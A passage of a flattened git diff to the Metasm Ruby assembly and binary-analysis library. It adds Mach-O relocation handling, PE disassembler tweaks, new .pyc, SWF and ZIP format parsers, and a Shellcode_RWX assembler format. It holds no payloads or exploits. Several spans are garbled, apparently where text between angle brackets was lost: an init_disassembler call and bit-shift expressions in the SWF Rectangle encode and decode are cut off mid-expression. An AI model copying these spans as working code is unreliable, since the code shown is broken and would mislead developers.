encode(m) - ed = super(m) + ed = super(m) ed << @data.encode(m) if @data ed.align(m.size >> 3) ed.fixup! @cmdsize => ed.length if @cmdsize.kind_of? String @@ -243,7 +257,10 @@ class MachO < ExeFormat str :name, 16 str :segname, 16 xwords :addr, :size - words :offset, :align, :reloff, :nreloc, :flags, :res1, :res2 + words :offset, :align, :reloff, :nreloc + bitfield :word, 0 => :type, 8 => :attributes_sys, 24 => :attributes_usr + words :res1, :res2 + fld_enum :type, SEC_TYPE attr_accessor :res3 # word 64bit only attr_accessor :segment, :encoded @@ -258,10 +275,6 @@ class MachO < ExeFormat # addr, offset, etc = @segment.virtaddr + 42 super(m) end - - def decode_inner(m) - @encoded = m.encoded[m.addr_to_off(@addr), @size] - end end SECTION_64 = SECTION @@ -279,7 +292,7 @@ class MachO < ExeFormat words :flavor, :count fld_enum(:flavor) { |m, t| THREAD_FLAVOR[m.header.cputype] || {} } attr_accessor :ctx - + def entrypoint(m) @ctx ||= {} case m.header.cputype @@ -346,6 +359,7 @@ class MachO < ExeFormat end LOAD_DYLIB = DYLIB ID_DYLIB = DYLIB + LOAD_WEAK_DYLIB = DYLIB class PREBOUND_DYLIB < STRING word :stroff @@ -356,6 +370,10 @@ class MachO < ExeFormat LOAD_DYLINKER = STRING ID_DYLINKER = STRING + class ENCRYPTION_INFO < SerialStruct + words :cryptoff, :cryptsize, :cryptid + end + class ROUTINES < SerialStruct xwords :init_addr, :init_module, :res1, :res2, :res3, :res4, :res5, :res6 end @@ -388,7 +406,7 @@ class MachO < ExeFormat end end - class CODE_SIGNATURE < SerialStruct + class CODE_SIGNATURE < SerialStruct word :magic word :size word :count @@ -479,6 +497,12 @@ class MachO < ExeFormat end end + class Relocation < SerialStruct + word :address + bitfield :word, 0 => :symbolnum, 24 => :pcrel, 25 => :length, 27 => :extern, 28 => :type + fld_enum :type, GENERIC_RELOC + end + def encode_byte(val) Expression[val].encode( :u8, @endianness) end def encode_half(val) Expression[val].encode(:u16, @endianness) end def encode_word(val) Expression[val].encode(:u32, @endianness) end @@ -494,6 +518,7 @@ class MachO < ExeFormat attr_accessor :segments attr_accessor :commands attr_accessor :symbols + attr_accessor :relocs def initialize(cpu=nil) super(cpu) @@ -523,6 +548,35 @@ class MachO < ExeFormat decode_relocations end + # return the segment containing address, set seg.encoded.ptr to the correct offset + def segment_at(addr) + return if not addr or addr <= 0 + if seg = @segments.find { |seg_| addr >= seg_.virtaddr and addr < seg_.virtaddr + seg_.virtsize } + seg.encoded.ptr = addr - seg.virtaddr + seg + end + end + + def addr_to_fileoff(addr) + s = @segments.find { |s_| s_.virtaddr <= addr and s_.virtaddr + s_.virtsize > addr } if addr + addr - s.virtaddr + s.fileoff if s + end + + def fileoff_to_addr(foff) + if s = @segments.find { |s_| s_.fileoff <= foff and s_.fileoff + s_.filesize > foff } + s.virtaddr + module_address + foff - s.fileoff + end + end + + def module_address + @segments.map { |s_| s_.virtaddr }.min || 0 + end + + def module_size + return 0 if not sz = @segments.map { |s_| s_.virtaddr + s_.virtsize }.max + sz - module_address + end + def decode_symbols @symbols = [] ep_count = 0 @@ -537,30 +591,159 @@ class MachO < ExeFormat when 'THREAD', 'UNIXTHREAD' ep_count += 1 ep = cmd.data.entrypoint(self) - next if not seg = @segments.find { |seg_| ep >= seg_.virtaddr and ep < seg_.virtaddr + seg_.virtsize } - seg.encoded.add_export("entrypoint#{"_#{ep_count}" if ep_count >= 2 }", ep - seg.virtaddr) + next if not seg = segment_at(ep) + seg.encoded.add_export("entrypoint#{"_#{ep_count}" if ep_count >= 2 }") end } @symbols.each { |s| next if s.value == 0 or not s.name - next if not seg = @segments.find { |seg_| s.value >= seg_.virtaddr and s.value < seg_.virtaddr + seg_.virtsize } - seg.encoded.add_export(s.name, s.value - seg.virtaddr) + next if not seg = segment_at(s.value) + seg.encoded.add_export(s.name) } end def decode_relocations + @relocs = [] + indsymtab = [] + @commands.each { |cmd| + if cmd.cmd == 'DYSYMTAB' + @encoded.ptr = cmd.data.extreloff + cmd.data.nextrel.times { @relocs << Relocation.decode(self) } + @encoded.ptr = cmd.data.locreloff + cmd.data.nlocrel.times { @relocs << Relocation.decode(self) } + @encoded.ptr = cmd.data.indirectsymoff + cmd.data.nindirectsyms.times { indsymtab << decode_word } + end + } + @segments.each { |seg| + seg.sections.each { |sec| + @encoded.ptr = sec.reloff + sec.nreloc.times { @relocs << Relocation.decode(self) } + + case sec.type + when 'NON_LAZY_SYMBOL_POINTERS', 'LAZY_SYMBOL_POINTERS' + edata = seg.encoded + off = sec.offset - seg.fileoff + (sec.size / 4).times { |i| + sidx = indsymtab[sec.res1+i] + case IND_SYM_IDX[sidx] + when 'INDIRECT_SYMBOL_LOCAL' # base reloc: add delta from prefered image base + edata.ptr = off + addr = decode_word(edata) + if s = segment_at(addr) + label = label_at(s.encoded, s.encoded.ptr, "xref_#{Expression[addr]}") + seg.encoded.reloc[off] = Metasm::Relocation.new(Expression[label], :u32, @endianness) + end + when 'INDIRECT_SYMBOL_ABS' # nothing + else + sym = @symbols[sidx] + seg.encoded.reloc[off] = Metasm::Relocation.new(Expression[sym.name], :u32, @endianness) + end + off += 4 + } + when 'SYMBOL_STUBS' + # TODO next unless arch == 386 and sec.attrs & SELF_MODIFYING_CODE and sec.res2 == 5 + + edata = seg.encoded + edata.data = edata.data.to_str.dup + off = sec.offset - seg.fileoff + 1 + (sec.size / 5).times { |i| + sidx = indsymtab[sec.res1+i] + case IND_SYM_IDX[sidx] + when 'INDIRECT_SYMBOL_LOCAL' # base reloc: add delta from prefered image base + edata.ptr = off + addr = decode_word(edata) + if s = segment_at(addr) + label = label_at(s.encoded, s.encoded.ptr, "xref_#{Expression[addr]}") + seg.encoded.reloc[off] = Metasm::Relocation.new(Expression[label, :-, Expression[seg.virtaddr, :+, off+4].reduce], :u32, @endianness) + end + when 'INDIRECT_SYMBOL_ABS' # nothing + else + seg.encoded[off-1] = 0xe9 + sym = @symbols[sidx] + seg.encoded.reloc[off] = Metasm::Relocation.new(Expression[sym.name, :-, Expression[seg.virtaddr, :+, off+4].reduce], :u32, @endianness) + end + off += 5 + } + + end + } + } + seg = nil + @relocs.each { |r| + if r.extern == 1 + sym = @symbols[r.symbolnum] + seg = @segments.find { |sg| sg.virtaddr <= r.address and sg.virtaddr + sg.virtsize > r.address } unless seg and seg.virtaddr <= r.address and seg.virtaddr + seg.virtsize > r.address + if not seg + puts "macho: reloc to unmapped space #{r.inspect} #{sym.inspect}" if $VERBOSE + next + end + seg.encoded.reloc[r.address - seg.virtaddr] = Metasm::Relocation.new(Expression[sym.name], :u32, @endianness) + end + } end def decode_segment(s) + @encoded.add_export(s.name, s.fileoff) s.encoded = @encoded[s.fileoff, s.filesize] s.encoded.virtsize = s.virtsize - s.sections.each { |ss| ss.encoded = @encoded[ss.offset, ss.size] } + s.sections.each { |ss| + ss.encoded = @encoded[ss.offset, ss.size] + s.encoded.add_export(ss.name, ss.offset - s.fileoff) + } end def each_section(&b) @segments.each { |s| yield s.encoded, s.virtaddr } end + def section_info + ret = [] + @segments.each { |seg| + ret.concat seg.sections.map { |s| [s.name, s.addr, s.size, s.type] } + } + ret + end + + def init_disassembler + d = super() + case @cpu.shortname + when 'ia32', 'x64' + old_cp = d.c_parser + d.c_parser = nil + d.parse_c < true, :maxdepth => maxdepth) + if fnaddr.kind_of?(::Array) and fnaddr.length == 1 and s = dasm.decode_strz(fnaddr.first, 64) and s.length > sz + bind = bind.merge @cpu.register_symbols[0] => Expression[s] + end + bind + } + + df = d.function[:default] = @cpu.disassembler_default_func + df.backtrace_binding[@cpu.register_symbols[4]] = Expression[@cpu.register_symbols[4], :+, @cpu.size/8] + df.btbind_callback = nil + end + d + end + def get_default_entrypoints @commands.find_all { |cmd| cmd.cmd == 'THREAD' or cmd.cmd == 'UNIXTHREAD' }.map { |cmd| cmd.data.entrypoint(self) } end diff --git a/lib/metasm/metasm/exe_format/main.rb b/lib/metasm/metasm/exe_format/main.rb index 6134148e13..3f47ab793f 100644 --- a/lib/metasm/metasm/exe_format/main.rb +++ b/lib/metasm/metasm/exe_format/main.rb @@ -16,7 +16,7 @@ class ExeFormat # creates a new instance, populates self.encoded with the supplied string def self.load(str, *a, &b) e = new(*a, &b) - if str.kind_of? EncodedData; e.encoded = str + if str.kind_of?(EncodedData); e.encoded = str else e.encoded << str end e @@ -63,6 +63,30 @@ class ExeFormat e end + def load(str) + if str.kind_of?(EncodedData); @encoded = str + else @encoded << str + end + self + end + + def load_file(path) + @filename ||= path + load(VirtualFile.read(path)) + end + + def decode_file(path) + load_file(path) + decode + self + end + + def decode_file_header(path) + load_file(path) + decode_header + self + end + # creates a new object using the specified cpu, parses the asm source, and assemble def self.assemble(cpu, source, file='', lineno=1) source, cpu = cpu, source if source.kind_of? CPU @@ -175,9 +199,8 @@ class ExeFormat end # saves the result of +encode_string+ in the specified file - # fails if the file already exists + # overwrites existing files def encode_file(path, *a) - #raise Errno::EEXIST, path if File.exist? path # race, but cannot use O_EXCL, as O_BINARY is not defined in ruby encode_string(*a) File.open(path, 'wb') { |fd| fd.write(@encoded.data) } end diff --git a/lib/metasm/metasm/exe_format/nds.rb b/lib/metasm/metasm/exe_format/nds.rb index 0e9cb80a78..14f9b2bf60 100644 --- a/lib/metasm/metasm/exe_format/nds.rb +++ b/lib/metasm/metasm/exe_format/nds.rb @@ -30,7 +30,7 @@ class NDS < ExeFormat mem :secareadisable, 8 words :endoff, :headersz mem :reserved4, 56 - mem :ninlogo, 156 + mem :ninlogo, 156 half :logoCRC, 0xcf56 half :headerCRC end @@ -75,9 +75,9 @@ class NDS < ExeFormat attr_accessor :header, :icon, :arm9, :arm7 attr_accessor :files, :fat - def initialize(endianness=:little) - @endianness = endianness - @encoded = EncodedData.new + def initialize(cpu=nil) + @endianness = (cpu ? cpu.endianness : :little) + super(cpu) end # decodes the header from the current offset in self.encoded diff --git a/lib/metasm/metasm/exe_format/pe.rb b/lib/metasm/metasm/exe_format/pe.rb index 8803a317f7..3b8a2e893e 100644 --- a/lib/metasm/metasm/exe_format/pe.rb +++ b/lib/metasm/metasm/exe_format/pe.rb @@ -215,7 +215,7 @@ EOS # TODO seh prototype (args => context) # TODO hook on (non)resolution of :w xref def get_xrefs_x(dasm, di) - if @cpu.shortname =~ /ia32|x64/ and a = di.instruction.args.first and a.kind_of? Ia32::ModRM and a.seg and a.seg.val == 4 and + if @cpu.shortname =~ /^ia32|^x64/ and a = di.instruction.args.first and a.kind_of?(Ia32::ModRM) and a.seg and a.seg.val == 4 and w = get_xrefs_rw(dasm, di).find { |type, ptr, len| type == :w and ptr.externals.include? 'segment_base_fs' } and dasm.backtrace(Expression[w[1], :-, 'segment_base_fs'], di.address).to_a.include?(Expression[0]) sehptr = w[1] @@ -225,7 +225,7 @@ EOS puts "backtrace seh from #{di} => #{a.map { |addr| Expression[addr] }.join(', ')}" if $VERBOSE a.each { |aa| next if aa == Expression::Unknown - l = dasm.auto_label_at(aa, 'seh', 'loc', 'sub') + dasm.auto_label_at(aa, 'seh', 'loc', 'sub') dasm.addrs_todo << [aa] } super(dasm, di) @@ -243,17 +243,19 @@ EOS old_cp = d.c_parser d.c_parser = nil d.parse_c '__stdcall void *GetProcAddress(int, char *);' - d.c_parser.lexer.define_weak('__MS_X86_64_ABI__') if @cpu.kind_of? X86_64 + d.parse_c '__stdcall void ExitProcess(int) __attribute__((noreturn));' + d.c_parser.lexer.define_weak('__MS_X86_64_ABI__') if @cpu.shortname == 'x64' gpa = @cpu.decode_c_function_prototype(d.c_parser, 'GetProcAddress') + epr = @cpu.decode_c_function_prototype(d.c_parser, 'ExitProcess') d.c_parser = old_cp d.parse_c '' - d.c_parser.lexer.define_weak('__MS_X86_64_ABI__') if @cpu.kind_of? X86_64 + d.c_parser.lexer.define_weak('__MS_X86_64_ABI__') if @cpu.shortname == 'x64' @getprocaddr_unknown = [] gpa.btbind_callback = lambda { |dasm, bind, funcaddr, calladdr, expr, origin, maxdepth| break bind if @getprocaddr_unknown.include? [dasm, calladdr] or not Expression[expr].externals.include? :eax sz = @cpu.size/8 break bind if not dasm.decoded[calladdr] - if @cpu.kind_of? X86_64 + if @cpu.shortname == 'x64' arg2 = :rdx else arg2 = Indirection[[:esp, :+, 2*sz], sz, calladdr] @@ -268,6 +270,7 @@ EOS bind } d.function[Expression['GetProcAddress']] = gpa + d.function[Expression['ExitProcess']] = epr d.function[:default] = @cpu.disassembler_default_func end d @@ -312,7 +315,7 @@ class LoadedPE < PE # reads a loaded PE from memory, returns a PE object # dumps the header, optheader and all sections ; try to rebuild IAT (#memdump_imports) - def self.memdump(memory, baseaddr, entrypoint = nil, iat_p=nil) + def self.memdump(memory, baseaddr, entrypoint=nil, iat_p=nil) loaded = LoadedPE.load memory[baseaddr, 0x1000_0000] loaded.load_address = baseaddr loaded.decode @@ -372,7 +375,6 @@ class LoadedPE < PE else # read imported pointer from the import structure while not ptr = imports.first.iat.shift - load_dll = nil imports.shift break if imports.empty? iat_p = imports.first.iat_p @@ -415,6 +417,7 @@ class LoadedPE < PE puts 'unknown ptr %x' % ptr if $DEBUG # allow holes in the unk_iat_p table break if not unk_iat_p or failcnt > 4 + loaded_dll = nil failcnt += 1 next end @@ -422,7 +425,7 @@ class LoadedPE < PE end # dumped last importdirectory is correct, append the import field - i = ImportDirectory::Import.new + i = ImportDirectory::Import.new if e.name puts e.name if $DEBUG i.name = e.name diff --git a/lib/metasm/metasm/exe_format/pyc.rb b/lib/metasm/metasm/exe_format/pyc.rb new file mode 100644 index 0000000000..9e1c88484b --- /dev/null +++ b/lib/metasm/metasm/exe_format/pyc.rb @@ -0,0 +1,164 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +require 'metasm/exe_format/main' +require 'metasm/encode' +require 'metasm/decode' + + +module Metasm +# Python preparsed module (.pyc) +class PYC < ExeFormat + # 1 magic per python version... + # file = MAGIC(u16) \r \n timestamp(u32) data + MAGICS = [ + 62211 # 62211 = python2.7a0 + ] + + class Header < SerialStruct + half :version + half :rn + word :timestamp + end + + def decode_half(edata=@encoded) edata.decode_imm(:u16, @endianness) end + def decode_word(edata=@encoded) edata.decode_imm(:u32, @endianness) end + def decode_long(edata=@encoded) edata.decode_imm(:i32, @endianness) end + + # file header + attr_accessor :header + # the marshalled object + attr_accessor :root + # list of all code objects + attr_accessor :all_code + + def initialize() + @endianness = :little + @encoded = EncodedData.new + super() + end + + def decode_header + @header = Header.decode(self) + end + + def decode_pymarshal + case c = @encoded.read(1) + when '0' # NULL + :null + when 'N' # None + nil + when 'F' # False + false + when 'T' # True + true + #when 'S' # stopiter TODO + #when '.' # ellipsis TODO + when 'i' # long (i32) + decode_long + when 'I' # long (i64) + decode_word | (decode_long << 32) + when 'f' # float (ascii) + @encoded.read(@encoded.read(1).unpack('C').first).to_f + when 'g' # float (binary) + @encoded.read(8).unpack('d').first # XXX check + when 'x' # complex (f f) + { :type => :complex, + :real => @encoded.read(@encoded.read(1).unpack('C').first).to_f, + :imag => @encoded.read(@encoded.read(1).unpack('C').first).to_f } + when 'y' # complex (g g) + { :type => :complex, + :real => @encoded.read(8).unpack('d').first, + :imag => @encoded.read(8).unpack('d').first } + when 'l' # long (i32?) + decode_long + when 's' # string: len (long), data + @encoded.read(decode_long) + when 't' # 'interned': string with possible backreference later + s = @encoded.read(decode_long) + @references << s + s + when 'R' # stringref (see 't') + @references[decode_long] + when '(' # tuple (frozen Array): length l*objs + obj = [] + decode_long.times { obj << decode_pymarshal } + obj + when '[' # list (Array) + obj = [] + decode_long.times { obj << decode_pymarshal } + obj + when '{' # dict (Hash) + obj = {} + loop do + k = decode_pymarshal + break if k == :null + obj[k] = decode_pymarshal + end + { :type => hash, :hash => obj } # XXX to avoid confusion with code, etc + when 'c' # code + # XXX format varies with version (header.signature) + obj = {} + obj[:type] = :code + obj[:argcount] = decode_long + #obj[:kwonly_argcount] = decode_long # not in py2.7 + obj[:nlocals] = decode_long + obj[:stacksize] = decode_long + obj[:flags] = decode_long # TODO bit-decode this one + + obj[:fileoff] = @encoded.ptr + 5 # XXX assume :code is a 's' + obj[:code] = decode_pymarshal + obj[:consts] = decode_pymarshal + obj[:names] = decode_pymarshal + obj[:varnames] = decode_pymarshal + obj[:freevars] = decode_pymarshal + obj[:cellvars] = decode_pymarshal + obj[:filename] = decode_pymarshal + obj[:name] = decode_pymarshal + obj[:firstlineno] = decode_long + obj[:lnotab] = decode_pymarshal + @all_code << obj + obj + when 'u' # unicode + @encoded.read(decode_long) + #when '?' # unknown TODO + #when '<' # set TODO + #when '>' # set (frozen) TODO + else + raise "unsupported python marshal #{c.inspect}" + end + end + + def decode + decode_header + @all_code = [] + @references = [] + @root = decode_pymarshal + @references = nil + end + + def cpu_from_headers + Python.new(self) + end + + def each_section + yield @encoded, 0 + end + + def get_default_entrypoints + if @root.kind_of? Hash and @root[:type] == :code + [@root[:fileoff]] + else + [] + end + end + + # return the :code part which contains off + def code_at_off(off) + @all_code.find { |c| c[:fileoff] <= off and c[:fileoff] + c[:code].length > off } + end +end +end diff --git a/lib/metasm/metasm/exe_format/serialstruct.rb b/lib/metasm/metasm/exe_format/serialstruct.rb index 9866878936..0fb33a2505 100644 --- a/lib/metasm/metasm/exe_format/serialstruct.rb +++ b/lib/metasm/metasm/exe_format/serialstruct.rb @@ -46,6 +46,13 @@ class << self # standard fields: + # virtual field, handled explicitly in a custom encode/decode + def virtual(*a) + a.each { |f| + new_field(f, nil, nil, nil) + } + end + # a fixed-size memory chunk def mem(name, len, defval='') new_field(name, lambda { |exe, me| exe.curencoded.read(len) }, lambda { |exe, me, val| val[0, len].ljust(len, 0.chr) }, defval) @@ -59,7 +66,7 @@ class << self # 0-terminated string def strz(name, defval='') d = lambda { |exe, me| - ed = exe.curencoded + ed = exe.curencoded ed.read(ed.data.index(?\0, ed.ptr)-ed.ptr+1).chop } e = lambda { |exe, me, val| val + 0.chr } @@ -107,7 +114,7 @@ class << self d = lambda { |exe, me| (@bitfield_val >> off) & mask } # update the temp var with the field value, return nil e = lambda { |exe, me, val| @bitfield_val |= (val & mask) << off ; nil } - new_field(name, d, e, 0) + new_field(name, d, e, 0) } # free the temp var @@ -123,6 +130,7 @@ class << self # inject a hook to be run during the decoding process def decode_hook(before=nil, &b) + @@fields[self] ||= [] idx = (before ? @@fields[self].index(fld_get(before)) : -1) @@fields[self].insert(idx, [nil, b]) end diff --git a/lib/metasm/metasm/exe_format/shellcode.rb b/lib/metasm/metasm/exe_format/shellcode.rb index 1bfed69f72..df2dfa01a7 100644 --- a/lib/metasm/metasm/exe_format/shellcode.rb +++ b/lib/metasm/metasm/exe_format/shellcode.rb @@ -69,11 +69,11 @@ class Shellcode < ExeFormat parse(*a) if not a.empty? @encoded << assemble_sequence(@source, @cpu) @source.clear - encode + self end def encode(binding={}) - @encoded.fixup! binding + @encoded.fixup! binding if binding.kind_of? Hash @encoded.fixup @encoded.binding(@base_addr) @encoded.fill @encoded.rawsize self @@ -107,7 +107,11 @@ class Shellcode < ExeFormat # returns a virtual subclass of Shellcode whose cpu_from_headers will return cpu def self.withcpu(cpu) c = Class.new(self) - c.send(:define_method, :cpu_from_headers) { cpu } + c.send(:define_method, :cpu_from_headers) { + cpu = Metasm.const_get(cpu) if cpu.kind_of?(::String) + cpu = cpu.new if cpu.kind_of?(::Class) and cpu.ancestors.include?(CPU) + cpu + } c end end diff --git a/lib/metasm/metasm/exe_format/shellcode_rwx.rb b/lib/metasm/metasm/exe_format/shellcode_rwx.rb new file mode 100644 index 0000000000..9ef0980edf --- /dev/null +++ b/lib/metasm/metasm/exe_format/shellcode_rwx.rb @@ -0,0 +1,114 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +require 'metasm/exe_format/main' + +module Metasm +# Similar to Shellcode, with distinct sections per memory permission (R / RW / RX) +# encoding-side only +class Shellcode_RWX < ExeFormat + # the array of source elements (Instr/Data etc) + attr_accessor :source_r, :source_w, :source_x + # base address per section + attr_accessor :base_r, :base_w, :base_x + # encodeddata + attr_accessor :encoded_r, :encoded_w, :encoded_x + + def initialize(cpu=nil) + @base_r = @base_w = @base_x = nil + @encoded_r = EncodedData.new + @encoded_w = EncodedData.new + @encoded_x = EncodedData.new + + super(cpu) + end + + def parse_init + @source_r = [] + @source_w = [] + @source_x = [] + @cursource = @source_x + super() + end + + # allows definition of the base address + def parse_parser_instruction(instr) + case instr.raw.downcase + when '.base', '.baseaddr', '.base_addr' + # ".base_addr " + # expression should #reduce to integer + @lexer.skip_space + raise instr, 'syntax error' if not base = Expression.parse(@lexer).reduce + raise instr, 'syntax error' if tok = @lexer.nexttok and tok.type != :eol + if @cursource.equal?(@source_r) + @base_r = base + elsif @cursource.equal?(@source_w) + @base_w = base + elsif @cursource.equal?(@source_x) + @base_x = base + else raise instr, "Where am I ?" + end + when '.rdata', '.rodata' + @cursource = @source_r + when '.data', '.bss' + @cursource = @source_w + when '.text' + @cursource = @source_x + else super(instr) + end + end + + # encodes the source found in self.source + # appends it to self.encoded + # clears self.source + # the optional parameter may contain a binding used to fixup! self.encoded + # uses self.base_addr if it exists + def assemble(*a) + parse(*a) if not a.empty? + @encoded_r << assemble_sequence(@source_r, @cpu); @source_r.clear + @encoded_w << assemble_sequence(@source_w, @cpu); @source_w.clear + @encoded_x << assemble_sequence(@source_x, @cpu); @source_x.clear + self + end + + def encode(binding={}) + bd = {} + bd.update @encoded_r.binding(@base_r) + bd.update @encoded_w.binding(@base_w) + bd.update @encoded_x.binding(@base_x) + bd.update binding if binding.kind_of?(Hash) + @encoded_r.fixup bd + @encoded_w.fixup bd + @encoded_x.fixup bd + self + end + alias fixup encode + + # resolve inter-section xrefs, raise if unresolved relocations remain + # call this when you have assembled+allocated memory for every section + def fixup_check(base_r=nil, base_w=nil, base_x=nil, bd={}) + if base_r.kind_of?(Hash) + bd = base_r + base_r = nil + end + @base_r = base_r if base_r + @base_w = base_w if base_w + @base_x = base_x if base_x + fixup bd + ed = EncodedData.new << @encoded_r << @encoded_w << @encoded_x + raise ["Unresolved relocations:", ed.reloc.map { |o, r| "#{r.target} " + (Backtrace.backtrace_str(r.backtrace) if r.backtrace).to_s }].join("\n") if not ed.reloc.empty? + self + end + + def encode_string(*a) + encode(*a) + ed = EncodedData.new << @encoded_r << @encoded_w << @encoded_x + ed.fixup(ed.binding) + raise ["Unresolved relocations:", ed.reloc.map { |o, r| "#{r.target} " + (Backtrace.backtrace_str(r.backtrace) if r.backtrace).to_s }].join("\n") if not ed.reloc.empty? + ed.data + end +end +end diff --git a/lib/metasm/metasm/exe_format/swf.rb b/lib/metasm/metasm/exe_format/swf.rb new file mode 100644 index 0000000000..10ac24d02e --- /dev/null +++ b/lib/metasm/metasm/exe_format/swf.rb @@ -0,0 +1,200 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + +require 'metasm/exe_format/main' +require 'metasm/encode' +require 'metasm/decode' +begin + require 'zlib' +rescue LoadError +end + +module Metasm +class SWF < ExeFormat + attr_accessor :signature, :version, :header, :chunks + + CHUNK_TYPE = { + 0 => 'End', 1 => 'ShowFrame', 2 => 'DefineShape', 3 => 'FreeCharacter', + 4 => 'PlaceObject', 5 => 'RemoveObject', 6 => 'DefineBits', 7 => 'DefineButton', + 8 => 'JPEGTables', 9 => 'SetBackgroundColor', 10 => 'DefineFont', 11 => 'DefineText', + 12 => 'DoAction', 13 => 'DefineFontInfo', 14 => 'DefineSound', 15 => 'StartSound', + 16 => 'StopSound', 17 => 'DefineButtonSound', 18 => 'SoundStreamHead', 19 => 'SoundStreamBlock', + 20 => 'DefineBitsLossless', 21 => 'DefineBitsJPEG2', 22 => 'DefineShape2', 23 => 'DefineButtonCxform', + 24 => 'Protect', 25 => 'PathsArePostScript', 26 => 'PlaceObject2', + 28 => 'RemoveObject2', 29 => 'SyncFrame', 31 => 'FreeAll', + 32 => 'DefineShape3', 33 => 'DefineText2', 34 => 'DefineButton2', 35 => 'DefineBitsJPEG3', + 36 => 'DefineBitsLossless2', 37 => 'DefineEditText', 38 => 'DefineVideo', 39 => 'DefineSprite', + 40 => 'NameCharacter', 41 => 'ProductInfo', 42 => 'DefineTextFormat', 43 => 'FrameLabel', + 44 => 'DefineBehavior', 45 => 'SoundStreamHead2', 46 => 'DefineMorphShape', 47 => 'FrameTag', + 48 => 'DefineFont2', 49 => 'GenCommand', 50 => 'DefineCommandObj', 51 => 'CharacterSet', + 52 => 'FontRef', 53 => 'DefineFunction', 54 => 'PlaceFunction', 55 => 'GenTagObject', + 56 => 'ExportAssets', 57 => 'ImportAssets', 58 => 'EnableDebugger', 59 => 'DoInitAction', + 60 => 'DefineVideoStream', 61 => 'VideoFrame', 62 => 'DefineFontInfo2', 63 => 'DebugID', + 64 => 'EnableDebugger2', 65 => 'ScriptLimits', 66 => 'SetTabIndex', 67 => 'DefineShape4', + 68 => 'DefineMorphShape2', 69 => 'FileAttributes', 70 => 'PlaceObject3', 71 => 'ImportAssets2', + 72 => 'DoABC', 76 => 'SymbolClass', 82 => 'DoABC2', + } + + class SerialStruct < Metasm::SerialStruct + new_int_field :u8, :u16, :u32, :f16, :f32 + end + + class Rectangle < SerialStruct + virtual :nbits, :xmin, :xmax, :ymin, :ymax + + def decode(swf) + byte = swf.decode_u8 + bleft = 3 + @nbits = byte >> bleft + @xmin, @xmax, @ymin, @ymax = (0..3).map { + nb = @nbits + v = 0 + while nb > bleft + nb -= bleft + v |= (byte & ((1<> (bleft-nb)) & ((1<= 0 + # reserve sign bit + (v >> (nb-1)) == 0 + else + (v >> nb) == -1 + end + } } || 31 + end + + def encode(swf) + ed = super(swf) + + byte = @nbits << 3 + bleft = 3 + [@xmin, @xmax, @ymin, @ymax].each { |v| + nb = @nbits + while nb > bleft + byte |= (v >> (nb-bleft)) & ((1<> 8) & 0xff) | ((@framerate & 0xff) << 8) if swf.endianness == :little + end + + def decode(swf) + @view = Rectangle.decode(swf) + super(swf) + bswap_framerate(swf) + end + + def encode(swf) + ed = @view.encode(swf) + bswap_framerate(swf) + ed << super(swf) + bswap_framerate(swf) + ed + end + end + + class Chunk < SerialStruct + bitfield :u16, 0 => :length_, 6 => :tag + fld_enum :tag, CHUNK_TYPE + attr_accessor :data + + def decode(swf) + super(swf) + @length = (@length_ == 0x3f ? swf.decode_u32 : @length_) + @data = swf.encoded.read(@length) + end + + def set_default_values(swf) + @length = @data.length + @length_ = [@length, 0x3f].min + end + + def encode(swf) + super(swf) << + (swf.encode_u32(@length) if @length >= 0x3f) << + @data + end + end + + def decode_u8( edata=@encoded) edata.decode_imm(:u8, @endianness) end + def decode_u16(edata=@encoded) edata.decode_imm(:u16, @endianness) end + def decode_u32(edata=@encoded) edata.decode_imm(:u32, @endianness) end + def decode_f16(edata=@encoded) edata.decode_imm(:i16, @endianness)/256.0 end + def decode_f32(edata=@encoded) edata.decode_imm(:i32, @endianness)/65536.0 end + def encode_u8(w) Expression[w].encode(:u8, @endianness) end + def encode_u16(w) Expression[w].encode(:u16, @endianness) end + def encode_u32(w) Expression[w].encode(:u32, @endianness) end + def encode_f16(w) Expression[(w*256).to_i].encode(:u16, @endianness) end + def encode_f32(w) Expression[(w*65536).to_i].encode(:u32, @endianness) end + + attr_accessor :endianness + def initialize(cpu = nil) + @endianness = :little + @header = Header.new + @chunks = [] + super(cpu) + end + + def decode_header + @signature = @encoded.read(3) + @version = decode_u8 + @data_length = decode_u32 + case @signature + when 'FWS' + when 'CWS' + # data_length = uncompressed data length + data = @encoded.read(@encoded.length-8) + data = Zlib::Inflate.inflate(data) + @encoded = EncodedData.new(data) + else raise InvalidExeFormat, "Bad signature #{@signature.inspect}" + end + @data_length = [@data_length, @encoded.length].min + @header = Header.decode(self) + end + + def decode + decode_header + while @encoded.ptr < @data_length + @chunks << Chunk.decode(self) + end + end +end +end diff --git a/lib/metasm/metasm/exe_format/zip.rb b/lib/metasm/metasm/exe_format/zip.rb new file mode 100644 index 0000000000..8879e33d77 --- /dev/null +++ b/lib/metasm/metasm/exe_format/zip.rb @@ -0,0 +1,333 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + +require 'metasm/exe_format/main' +require 'metasm/encode' +require 'metasm/decode' +begin + require 'zlib' +rescue LoadError +end + +# generic ZIP file, may be an APK or JAR +# supports only a trivial subset of the whole ZIP specification +# single file archive +# deflate or no compression +# no encryption +# 32bit offsets/sizes + +module Metasm +class ZIP < ExeFormat + MAGIC_LOCALHEADER = 0x04034b50 + COMPRESSION_METHOD = { 0 => 'NONE', 1 => 'SHRUNK', 2 => 'REDUCE1', 3 => 'REDUCE2', + 4 => 'REDUCE3', 5 => 'REDUCE4', 6 => 'IMPLODE', 7 => 'TOKENIZED', + 8 => 'DEFLATE', 9 => 'DEFLATE64', 10 => 'OLDTERSE', 12 => 'BZIP2', 14 => 'LZMA', + 18 => 'TERSE', 19 => 'LZ77', 97 => 'WAVPACK', 98 => 'PPMD' } + + # zip file format: + # + # [local header 1] + # compressed data 1 + # + # [local header 2] + # compressed data 2 + # + # [central header 1] + # [central header 2] + # + # [end of central directory] + + class LocalHeader < SerialStruct + word :signature, MAGIC_LOCALHEADER + half :verneed, 10 + half :flags # bit 3 => has data descriptor following the compressed data + half :compress_method, 0, COMPRESSION_METHOD + halfs :mtime, :mdate + word :crc32 + words :compressed_sz, 